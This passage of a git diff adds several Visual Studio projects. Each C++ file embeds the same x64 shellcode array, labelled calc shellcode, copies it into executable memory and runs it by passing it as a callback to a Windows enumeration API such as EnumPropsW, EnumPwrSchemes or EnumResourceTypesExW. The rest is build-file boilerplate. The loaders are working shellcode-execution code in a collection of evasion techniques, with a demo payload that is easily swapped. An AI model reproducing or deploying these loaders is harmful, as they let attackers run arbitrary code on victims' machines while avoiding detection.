+ EnumICMProfilesW(dummy, (ICMENUMPROCW)addr, NULL); + +} + diff --git a/EnumICMProfiles/EnumICMProfiles.vcxproj b/EnumICMProfiles/EnumICMProfiles.vcxproj new file mode 100644 index 0000000..dad3b55 --- /dev/null +++ b/EnumICMProfiles/EnumICMProfiles.vcxproj @@ -0,0 +1,147 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 16.0 + Win32Proj + {179d883d-4dc3-4edb-848b-3fe8c3c5554c} + EnumICMProfiles + 10.0 + + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + + + + + + + + + + + + + + + + + + + true + + + false + + + true + + + false + + + + Level3 + true + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + Level3 + true + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + + + + + \ No newline at end of file diff --git a/EnumICMProfiles/EnumICMProfiles.vcxproj.filters b/EnumICMProfiles/EnumICMProfiles.vcxproj.filters new file mode 100644 index 0000000..e82fbb0 --- /dev/null +++ b/EnumICMProfiles/EnumICMProfiles.vcxproj.filters @@ -0,0 +1,22 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + Source Files + + + \ No newline at end of file diff --git a/EnumLanguageGroupLocalesW/EnumLanguageGroupLocalesW.cpp b/EnumLanguageGroupLocalesW/EnumLanguageGroupLocalesW.cpp new file mode 100644 index 0000000..31e2bab --- /dev/null +++ b/EnumLanguageGroupLocalesW/EnumLanguageGroupLocalesW.cpp @@ -0,0 +1,41 @@ +#include +#include + + +// alfarom256 calc shellcode +unsigned char op[] = +"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" +"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" +"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9" +"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41" +"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48" +"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01" +"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48" +"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0" +"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c" +"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0" +"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04" +"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59" +"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48" +"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00" +"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f" +"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff" +"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb" +"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c" +"\x63\x2e\x65\x78\x65\x00"; + + + + +int main() { + + + LPVOID address = ::VirtualAlloc(NULL, sizeof(op), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); + memcpy(address, &op[0], sizeof(op)); + + + EnumLanguageGroupLocalesW((LANGGROUPLOCALE_ENUMPROCW)address, LGRPID_ARABIC, 0, 0); + + return 0; + +} \ No newline at end of file diff --git a/EnumLanguageGroupLocalesW/EnumLanguageGroupLocalesW.vcxproj b/EnumLanguageGroupLocalesW/EnumLanguageGroupLocalesW.vcxproj new file mode 100644 index 0000000..f4e1310 --- /dev/null +++ b/EnumLanguageGroupLocalesW/EnumLanguageGroupLocalesW.vcxproj @@ -0,0 +1,147 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 16.0 + Win32Proj + {8f7c78f7-1ce5-41f8-baa7-92b297248db4} + EnumLanguageGroupLocalesW + 10.0 + + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + + + + + + + + + + + + + + + + + + + true + + + false + + + true + + + false + + + + Level3 + true + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + Level3 + true + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + + + + + \ No newline at end of file diff --git a/EnumLanguageGroupLocalesW/EnumLanguageGroupLocalesW.vcxproj.filters b/EnumLanguageGroupLocalesW/EnumLanguageGroupLocalesW.vcxproj.filters new file mode 100644 index 0000000..5dd105b --- /dev/null +++ b/EnumLanguageGroupLocalesW/EnumLanguageGroupLocalesW.vcxproj.filters @@ -0,0 +1,22 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + Source Files + + + \ No newline at end of file diff --git a/EnumObjects/EnumObjects.cpp b/EnumObjects/EnumObjects.cpp new file mode 100644 index 0000000..5a1465f --- /dev/null +++ b/EnumObjects/EnumObjects.cpp @@ -0,0 +1,45 @@ +#include +#include + +// alfarom256 calc shellcode +unsigned char op[] = +"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" +"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" +"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9" +"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41" +"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48" +"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01" +"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48" +"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0" +"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c" +"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0" +"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04" +"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59" +"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48" +"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00" +"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f" +"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff" +"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb" +"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c" +"\x63\x2e\x65\x78\x65\x00"; + + + + +int main() { + + + LPVOID address = VirtualAlloc(NULL, sizeof(op), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); + memcpy(address, &op[0], sizeof(op)); + + + LOGFONTW lf = { 0 }; + lf.lfCharSet = DEFAULT_CHARSET; + + + HDC dc = GetDC(NULL); + EnumObjects(dc, OBJ_BRUSH, (GOBJENUMPROC)address, NULL); + + return 0; + +} \ No newline at end of file diff --git a/EnumObjects/EnumObjects.vcxproj b/EnumObjects/EnumObjects.vcxproj new file mode 100644 index 0000000..3627fce --- /dev/null +++ b/EnumObjects/EnumObjects.vcxproj @@ -0,0 +1,147 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 16.0 + Win32Proj + {d3788a6d-e9d8-44ff-b368-b42bc341c8f5} + EnumObjects + 10.0 + + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + + + + + + + + + + + + + + + + + + + true + + + false + + + true + + + false + + + + Level3 + true + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + Level3 + true + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + + + + + \ No newline at end of file diff --git a/EnumObjects/EnumObjects.vcxproj.filters b/EnumObjects/EnumObjects.vcxproj.filters new file mode 100644 index 0000000..6f31026 --- /dev/null +++ b/EnumObjects/EnumObjects.vcxproj.filters @@ -0,0 +1,22 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + Source Files + + + \ No newline at end of file diff --git a/EnumPageFilesW/EnumPageFilesW.cpp b/EnumPageFilesW/EnumPageFilesW.cpp new file mode 100644 index 0000000..545dde7 --- /dev/null +++ b/EnumPageFilesW/EnumPageFilesW.cpp @@ -0,0 +1,36 @@ +#include +#include +#include + +// alfarom256 calc shellcode +unsigned char op[] = +"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" +"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" +"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9" +"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41" +"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48" +"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01" +"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48" +"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0" +"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c" +"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0" +"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04" +"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59" +"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48" +"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00" +"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f" +"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff" +"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb" +"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c" +"\x63\x2e\x65\x78\x65\x00"; + + + +int main() { + + + LPVOID addr = ::VirtualAlloc(NULL, sizeof(op), MEM_COMMIT, PAGE_EXECUTE_READWRITE); + ::RtlMoveMemory(addr, op, sizeof(op)); + + ::EnumPageFilesW((PENUM_PAGE_FILE_CALLBACKW)addr, NULL); +} \ No newline at end of file diff --git a/EnumPageFilesW/EnumPageFilesW.vcxproj b/EnumPageFilesW/EnumPageFilesW.vcxproj new file mode 100644 index 0000000..e5f4a66 --- /dev/null +++ b/EnumPageFilesW/EnumPageFilesW.vcxproj @@ -0,0 +1,147 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 16.0 + Win32Proj + {a4f42b69-cafc-4870-b6aa-ea15b6703de3} + EnumPageFilesW + 10.0 + + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + + + + + + + + + + + + + + + + + + + true + + + false + + + true + + + false + + + + Level3 + true + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + Level3 + true + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + + + + + \ No newline at end of file diff --git a/EnumPageFilesW/EnumPageFilesW.vcxproj.filters b/EnumPageFilesW/EnumPageFilesW.vcxproj.filters new file mode 100644 index 0000000..0de0d16 --- /dev/null +++ b/EnumPageFilesW/EnumPageFilesW.vcxproj.filters @@ -0,0 +1,22 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + Source Files + + + \ No newline at end of file diff --git a/EnumPropsW/EnumPropsW.cpp b/EnumPropsW/EnumPropsW.cpp new file mode 100644 index 0000000..ef48f86 --- /dev/null +++ b/EnumPropsW/EnumPropsW.cpp @@ -0,0 +1,38 @@ +#include +#include + +// alfarom256 calc shellcode +unsigned char op[] = +"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" +"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" +"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9" +"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41" +"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48" +"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01" +"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48" +"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0" +"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c" +"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0" +"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04" +"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59" +"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48" +"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00" +"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f" +"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff" +"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb" +"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c" +"\x63\x2e\x65\x78\x65\x00"; + + + +int main() { + + + LPVOID addr = ::VirtualAlloc(NULL, sizeof(op), MEM_COMMIT, PAGE_EXECUTE_READWRITE); + ::RtlMoveMemory(addr, op, sizeof(op)); + + HWND dummy = ::GetTopWindow(NULL); + ::EnumPropsW(dummy, (PROPENUMPROCW)addr); + + return 0; +} \ No newline at end of file diff --git a/EnumPropsW/EnumPropsW.vcxproj b/EnumPropsW/EnumPropsW.vcxproj new file mode 100644 index 0000000..3d4575d --- /dev/null +++ b/EnumPropsW/EnumPropsW.vcxproj @@ -0,0 +1,147 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 16.0 + Win32Proj + {2253dc4a-3941-4809-a20d-416ca71f799a} + EnumPropsW + 10.0 + + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + + + + + + + + + + + + + + + + + + + true + + + false + + + true + + + false + + + + Level3 + true + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + Level3 + true + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + + + + + \ No newline at end of file diff --git a/EnumPropsW/EnumPropsW.vcxproj.filters b/EnumPropsW/EnumPropsW.vcxproj.filters new file mode 100644 index 0000000..43f1f08 --- /dev/null +++ b/EnumPropsW/EnumPropsW.vcxproj.filters @@ -0,0 +1,22 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + Source Files + + + \ No newline at end of file diff --git a/EnumPwrSchemes/EnumPwrSchemes.cpp b/EnumPwrSchemes/EnumPwrSchemes.cpp new file mode 100644 index 0000000..03533ac --- /dev/null +++ b/EnumPwrSchemes/EnumPwrSchemes.cpp @@ -0,0 +1,43 @@ +#include +#include +#include + +#pragma comment(lib, "PowrProf.lib") + +// alfarom256 calc shellcode +unsigned char op[] = +"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" +"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" +"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9" +"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41" +"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48" +"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01" +"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48" +"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0" +"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c" +"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0" +"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04" +"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59" +"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48" +"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00" +"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f" +"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff" +"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb" +"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c" +"\x63\x2e\x65\x78\x65\x00"; + + + + +int main() { + + + LPVOID address = ::VirtualAlloc(NULL, sizeof(op), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); + memcpy(address, &op[0], sizeof(op)); + + + ::EnumPwrSchemes((PWRSCHEMESENUMPROC)address, NULL); + + return 0; + +} \ No newline at end of file diff --git a/EnumPwrSchemes/EnumPwrSchemes.vcxproj b/EnumPwrSchemes/EnumPwrSchemes.vcxproj new file mode 100644 index 0000000..b1cab44 --- /dev/null +++ b/EnumPwrSchemes/EnumPwrSchemes.vcxproj @@ -0,0 +1,147 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 16.0 + Win32Proj + {13291d07-600d-44d2-91f8-a1fef83ab0fd} + EnumPwrSchemes + 10.0 + + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + + + + + + + + + + + + + + + + + + + true + + + false + + + true + + + false + + + + Level3 + true + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + Level3 + true + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + + + + + \ No newline at end of file diff --git a/EnumPwrSchemes/EnumPwrSchemes.vcxproj.filters b/EnumPwrSchemes/EnumPwrSchemes.vcxproj.filters new file mode 100644 index 0000000..9509301 --- /dev/null +++ b/EnumPwrSchemes/EnumPwrSchemes.vcxproj.filters @@ -0,0 +1,22 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + Source Files + + + \ No newline at end of file diff --git a/EnumResourceTypesExW/EnumResourceTypesExW.cpp b/EnumResourceTypesExW/EnumResourceTypesExW.cpp new file mode 100644 index 0000000..c15eb3c --- /dev/null +++ b/EnumResourceTypesExW/EnumResourceTypesExW.cpp @@ -0,0 +1,43 @@ +#include +#include +#include +#include + +#pragma comment(lib, "KtmW32.lib") + +// alfarom256 calc shellcode +unsigned char op[] = +"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" +"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" +"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9" +"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41" +"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48" +"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01" +"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48" +"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0" +"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c" +"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0" +"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04" +"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59" +"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48" +"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00" +"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f" +"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff" +"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb" +"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c" +"\x63\x2e\x65\x78\x65\x00"; + + + + +int main() { + + + LPVOID address = ::VirtualAlloc(NULL, sizeof(op), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); + memcpy(address, &op[0], sizeof(op)); + + EnumResourceTypesExW(::LoadLibraryW(L"Kernel32.dll"), (ENUMRESTYPEPROCW)address, NULL, RESOURCE_ENUM_VALIDATE, NULL); + + return 0; + +} \ No newline at end of file diff --git a/EnumResourceTypesExW/EnumResourceTypesExW.vcxproj b/EnumResourceTypesExW/EnumResourceTypesExW.vcxproj new file mode 100644 index 0000000..fd0936a --- /dev/null +++ b/EnumResourceTypesExW/EnumResourceTypesExW.vcxproj @@ -0,0 +1,147 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 16.0 + Win32Proj + {d0ab9f7d-c35d-4e4f-840a-34597b466e1a} + EnumResourceTypesExW + 10.0 + + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + + + + + + + + + + + + + + + + + + + true + + + false + + + true + + + false + + + + Level3 + true + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + Level3 + true + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + + + + + \ No newline at end of file diff --git a/EnumResourceTypesExW/EnumResourceTypesExW.vcxproj.filters b/EnumResourceTypesExW/EnumResourceTypesExW.vcxproj.filters new file mode 100644 index 0000000..cd5df53 --- /dev/null +++ b/EnumResourceTypesExW/EnumResourceTypesExW.vcxproj.filters @@ -0,0 +1,22 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + Source Files + + + \ No newline at end of file diff --git 